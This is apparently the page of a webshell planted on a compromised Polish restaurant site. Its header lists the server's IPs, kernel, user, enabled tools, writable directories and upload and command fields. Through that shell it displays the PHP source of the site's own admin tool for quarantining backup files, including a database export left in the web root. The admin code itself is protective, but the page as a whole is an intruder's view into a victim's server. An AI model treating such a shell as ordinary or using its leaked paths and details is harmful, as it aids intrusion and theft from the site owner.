403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v185-zabezpiecz-pliki.php
<?php
declare(strict_types=1);
/**
 * POLANA V18.5 — bezpieczne przeniesienie wyłącznie 13 plików wskazanych w audycie.
 * Admin + CSRF, pliki prywatne poza WWW, bez kasowania kopii, z przywracaniem.
 * Nie modyfikuje bazy, innych modułów, .htaccess ani konfiguracji.
 */
require_once dirname(__DIR__) . '/includes/functions.php';
require_admin_role();
require_once dirname(__DIR__) . '/includes/polana_backup_v182.php';
header('Cache-Control: private, no-store, max-age=0');
header('X-Robots-Tag: noindex, nofollow');
header('Referrer-Policy: no-referrer');

function p185_e(mixed $value): string { return htmlspecialchars((string)$value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); }
function p185_candidates(): array {
    return [
        'admin/database_z_zip.sql',
        'tklm-translate-private/nav-backups/functions-20261016_224343-39a207c5.bak',
        'storage/v12-backup/functions_20261017_135410_a2e69b.php.bak',
        'storage/polana-i18n-v96-backup/functions-20261017-081438-3bcad9.php.bak',
        'storage/v13-backup/functions-20261017-141744-34f029.php.bak',
        'storage/v11-backups/v11_20261017_135406/1_.htaccess.bak',
        'storage/v11-backups/v11_20261017_135406/2_sitemap.php.bak',
        'storage/v11-backups/v11_20261017_135406/0_functions.php.bak',
        'storage/polana-v15-backups/alergeny.php-20261018085014.bak',
        'storage/polana-v15-backups/menu-karta.php-20261018085014.bak',
        'storage/polana-v15-backups/menu.php-20261018085014.bak',
        'storage/polana-v15-backups/menu-seo.php-20261018085014.bak',
        'storage/polana-v15-backups/menu-druk.php-20261018085014.bak',
    ];
}
function p185_base_paths(): array {
    $root = realpath(dirname(__DIR__));
    if (!is_string($root) || $root === '/') throw new RuntimeException('Nieznany katalog WWW.');
    $private = realpath(pbk_private());
    if (!is_string($private) || $private === '/') throw new RuntimeException('Brak bezpiecznego katalogu prywatnego.');
    $doc = realpath((string)($_SERVER['DOCUMENT_ROOT'] ?? ''));
    foreach ([$root, $doc] as $pub) {
        if (is_string($pub) && ($private === $pub || str_starts_with($private . '/', $pub . '/'))) {
            throw new RuntimeException('Prywatne archiwum znajduje się w WWW — przerwano.');
        }
    }
    $quarantine = $private . '/quarantine-v185';
    if (is_link($quarantine)) throw new RuntimeException('Katalog kwarantanny jest dowiązaniem symbolicznym.');
    if (!is_dir($quarantine) && !@mkdir($quarantine, 0700)) throw new RuntimeException('Nie można utworzyć kwarantanny poza WWW.');
    if (realpath($quarantine) !== $quarantine || !is_writable($quarantine)) throw new RuntimeException('Kwarantanna nie jest bezpieczna/zapisywalna.');
    @chmod($quarantine, 0700);
    return [$root, $quarantine];
}
function p185_paths(string $relative, string $root, string $quarantine): array {
    if (!in_array($relative, p185_candidates(), true)) throw new RuntimeException('Ścieżka spoza zatwierdzonej listy.');
    if (str_contains($relative, '..') || str_contains($relative, '\\') || str_contains($relative, "\0")) throw new RuntimeException('Niedozwolona ścieżka.');
    $segments = explode('/', $relative);
    $cursor = $root;
    foreach ($segments as $segment) {
        $cursor .= '/' . $segment;
        if (is_link($cursor)) throw new RuntimeException('Wykryto dowiązanie symboliczne — odmowa.');
    }
    $source = $root . '/' . $relative;
    if (is_file($source) && realpath($source) !== $source) throw new RuntimeException('Źródło nie należy do katalogu WWW.');
    $target = $quarantine . '/' . $relative;
    $cursor = $quarantine;
    foreach ($segments as $segment) {
        $cursor .= '/' . $segment;
        if (is_link($cursor)) throw new RuntimeException('Wykryto dowiązanie symboliczne w kwarantannie.');
    }
    return [$source, $target];
}
function p185_log(string $quarantine, string $operation, string $relative, string $hash): void {
    $entry = json_encode(['time' => gmdate('c'), 'action' => $operation, 'path' => $relative, 'sha256' => $hash], JSON_UNESCAPED_SLASHES | JSON_THROW_ON_ERROR) . "\n";
    @file_put_contents($quarantine . '/actions.jsonl', $entry, FILE_APPEND | LOCK_EX);
    @chmod($quarantine . '/actions.jsonl', 0600);
}
/** Verified streaming copy, no overwrite; original removed only after checksum match. */
function p185_copy_safe(string $source, string $target, bool $privateDestination): string {
    if (!is_file($source) || is_link($source)) throw new RuntimeException('Nie znaleziono źródła.');
    if (file_exists($target) || is_link($target)) throw new RuntimeException('Plik docelowy istnieje — nie nadpisano go.');
    $dir = dirname($target);
    if (!is_dir($dir) && (!$privateDestination || !@mkdir($dir, 0700, true))) throw new RuntimeException('Nie można utworzyć katalogu docelowego.');
    // Reject symlinked intermediate directories including those created earlier.
    $walk = $dir;
    while ($walk !== dirname($walk)) {
        if (is_link($walk)) throw new RuntimeException('Katalog docelowy jest dowiązaniem.');
        $walk = dirname($walk);
    }
    if ($privateDestination) @chmod($dir, 0700);
    $tmp = $dir . '/.pending-v185-' . bin2hex(random_bytes(12));
    $in = @fopen($source, 'rb');
    if ($in === false) throw new RuntimeException('Nie można otworzyć źródła.');
    $out = @fopen($tmp, 'x+b');
    if ($out === false) { fclose($in); throw new RuntimeException('Brak zapisu w katalogu docelowym.'); }
    @chmod($tmp, $privateDestination ? 0600 : 0640);
    try {
        while (!feof($in)) {
            $chunk = fread($in, 524288);
            if ($chunk === false) throw new RuntimeException('Błąd odczytu źródła.');
            if ($chunk === '') { if (!feof($in)) throw new RuntimeException('Odczyt przerwany.'); break; }
            $len = strlen($chunk); $offset = 0;
            while ($offset < $len) {
                $written = fwrite($out, substr($chunk, $offset));
                if ($written === false || $written === 0) throw new RuntimeException('Błąd zapisu kopii.');
                $offset += $written;
            }
        }
        fflush($out);
    } catch (Throwable $e) { fclose($in); fclose($out); @unlink($tmp); throw $e; }
    fclose($in); fclose($out);
    $srcHash = hash_file('sha256', $source); $dstHash = hash_file('sha256', $tmp);
    if (!is_string($srcHash) || !hash_equals($srcHash, (string)$dstHash)) { @unlink($tmp); throw new RuntimeException('Suma kontrolna niezgodna — źródło zachowane.'); }
    if (!@rename($tmp, $target)) { @unlink($tmp); throw new RuntimeException('Nie można zakończyć zapisu.'); }
    @chmod($target, $privateDestination ? 0600 : 0640);
    return $srcHash;
}
function p185_action(string $action, string $relative, string $root, string $quarantine): string {
    [$source, $target] = p185_paths($relative, $root, $quarantine);
    if ($action === 'move') {
        $hash = p185_copy_safe($source, $target, true);
        $verifyBeforeUnlink = hash_file('sha256', $source);
        if (!is_string($verifyBeforeUnlink) || !hash_equals($hash, $verifyBeforeUnlink)) {
            p185_log($quarantine, 'source_changed', $relative, $hash);
            throw new RuntimeException('Źródło zmieniło się po skopiowaniu — nie usunięto go.');
        }
        if (!@unlink($source)) {
            p185_log($quarantine, 'copy_only', $relative, $hash);
            throw new RuntimeException('Kopia poza WWW gotowa, lecz źródła nie można usunąć. Sprawdź uprawnienia; kopię pozostawiono.');
        }
        p185_log($quarantine, 'quarantine', $relative, $hash);
        return 'Przeniesiono poza WWW i zachowano możliwość przywrócenia: ' . $relative;
    }
    if ($action === 'restore') {
        if (file_exists($source) || is_link($source)) throw new RuntimeException('Oryginalna lokalizacja jest zajęta — niczego nie nadpisano.');
        if (!is_dir(dirname($source))) throw new RuntimeException('Brakuje oryginalnego katalogu — ręczna weryfikacja wymagana.');
        $hash = p185_copy_safe($target, $source, false);
        if (!@unlink($target)) {
            p185_log($quarantine, 'restore_copy_only', $relative, $hash);
            throw new RuntimeException('Plik odtworzony, ale kopia prywatna pozostała. Nie ponawiaj bez kontroli.');
        }
        p185_log($quarantine, 'restore', $relative, $hash);
        return 'Przywrócono do poprzedniej lokalizacji: ' . $relative;
    }
    throw new RuntimeException('Niedozwolona operacja.');
}

$message = ''; $error = ''; $root = ''; $quarantine = '';
try {
    [$root, $quarantine] = p185_base_paths();
    if (($_SERVER['REQUEST_METHOD'] ?? 'GET') === 'POST') {
        verify_csrf();
        if (($_POST['confirm'] ?? '') !== 'TAK') throw new RuntimeException('Musisz potwierdzić świadomą operację.');
        $message = p185_action((string)($_POST['action'] ?? ''), (string)($_POST['file'] ?? ''), $root, $quarantine);
    }
} catch (Throwable $e) { $error = $e->getMessage(); }
render_admin_header('POLANA V18.5 — bezpieczeństwo plików');
?>
<style>
.p185{max-width:1200px;margin:22px auto 70px;padding:0 16px;color:#24362a}.p185 *{box-sizing:border-box}
.p185 section{background:#fff;border:1px solid #d6e4db;border-radius:14px;padding:20px;margin:16px 0}.p185 h1{font-size:clamp(23px,3vw,33px)}
.p185 .scroll{overflow:auto}.p185 table{width:100%;border-collapse:collapse}.p185 th,.p185 td{text-align:left;vertical-align:top;padding:11px 8px;border-bottom:1px solid #e7eee8}
.p185 code{overflow-wrap:anywhere}.p185 button{background:#164b30;color:#fff;border:0;border-radius:8px;padding:9px 12px;cursor:pointer}
.p185 button.restore{background:#4d5e5a}.p185 form{display:inline-block}.p185 .warning{border-left:4px solid #c97712;padding:12px;background:#fff5e8}
.p185 .error{padding:12px;background:#fbe8e8}.p185 .success{padding:12px;background:#e5f5e8}.p185 .muted{color:#637267}
</style>
<div class="p185">
<h1>POLANA V18.5 — zabezpieczenie plików w WWW</h1>
<p>Panel administracyjny. Przenosi tylko pojedynczy wskazany plik do prywatnej kwarantanny poza WWW, po sprawdzeniu SHA-256. Pozwala przywrócić oryginał. <strong>Nie dotyka bazy, modułów, CRON ani .htaccess.</strong></p>
<?php if($message): ?><div class="success"><?=p185_e($message)?></div><?php endif; ?>
<?php if($error): ?><div class="error"><?=p185_e($error)?></div><?php endif; ?>
<section>
<h2>Co zrobić teraz?</h2>
<p>Najpierw zabezpiecz <code>admin/database_z_zip.sql</code>. To potencjalny eksport bazy, który nie powinien leżeć w katalogu serwowanym przez WWW. Następnie rozważ przeniesienie starszych plików <code>.bak</code>. Nie przenoś aktywnych plików <code>.php</code> — nie ma ich na tej liście.</p>
<p class="warning">Ten panel korzysta z katalogu prywatnego V18.3. Nie szyfruje ponownie historycznych plików; kwarantanna musi być poza WWW i dostępna tylko dla użytkownika PHP. Nie udostępniaj jej przez URL.</p>
<p><a href="polana-backup-automat.php">Automatyczne kopie SQL</a> · <a href="polana-v184-audyt-calosc.php">Ponów audyt V18.4</a></p>
</section>
<section><h2>Pliki z raportu V18.4</h2><div class="scroll"><table><thead><tr><th>Plik</th><th>Stan</th><th>Działanie (z potwierdzeniem)</th></tr></thead><tbody>
<?php foreach (p185_candidates() as $relative):
    $state = 'NIE SPRAWDZONO'; $action = '';
    if($root !== '' && $quarantine !== '') {
        try {
            [$original, $privateFile] = p185_paths($relative, $root, $quarantine);
            $a = is_file($original); $b = is_file($privateFile);
            if ($a && !$b) { $state = 'W WWW — do zabezpieczenia'; $action = 'move'; }
            elseif (!$a && $b) { $state = 'W prywatnej kwarantannie'; $action = 'restore'; }
            elseif ($a && $b) $state = 'OBA PLIKI — zweryfikuj ręcznie';
            else $state = 'Brak pliku w obu lokalizacjach';
        } catch (Throwable $e) { $state = 'Wymaga ręcznej kontroli'; }
    }
?>
<tr><td><code><?=p185_e($relative)?></code></td><td><?=p185_e($state)?></td><td>
<?php if($action): ?><form method="post" onsubmit="return confirm('Potwierdź operację: <?= $action === 'move' ? 'przenieść poza WWW' : 'przywrócić do WWW' ?>?');">
<?=csrf_field()?><input type="hidden" name="action" value="<?=p185_e($action)?>"><input type="hidden" name="file" value="<?=p185_e($relative)?>">
<label><input type="checkbox" name="confirm" value="TAK" required> Potwierdzam</label>
<button class="<?=$action === 'restore' ? 'restore' : ''?>" type="submit"><?= $action === 'move' ? 'Przenieś poza WWW' : 'Przywróć (rollback)' ?></button>
</form><?php else: ?>—<?php endif; ?>
</td></tr>
<?php endforeach; ?>
</tbody></table></div></section>
<section><h2>Backup nadal wymaga uruchomienia</h2>
<p>Raport V18.4 wykazał <strong>0 kopii SQL</strong>. Kliknij „Automatyczne kopie SQL”, pobierz klucz offline, wykonaj próbny SQL i sprawdź archiwum. Następnie skonfiguruj zadanie CRON w panelu hostingu i sprawdź rezultat następnego uruchomienia.</p>
<p class="muted">Przeniesienie starych plików .bak nie zastępuje regularnego backupu bazy.</p>
</section>
</div>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit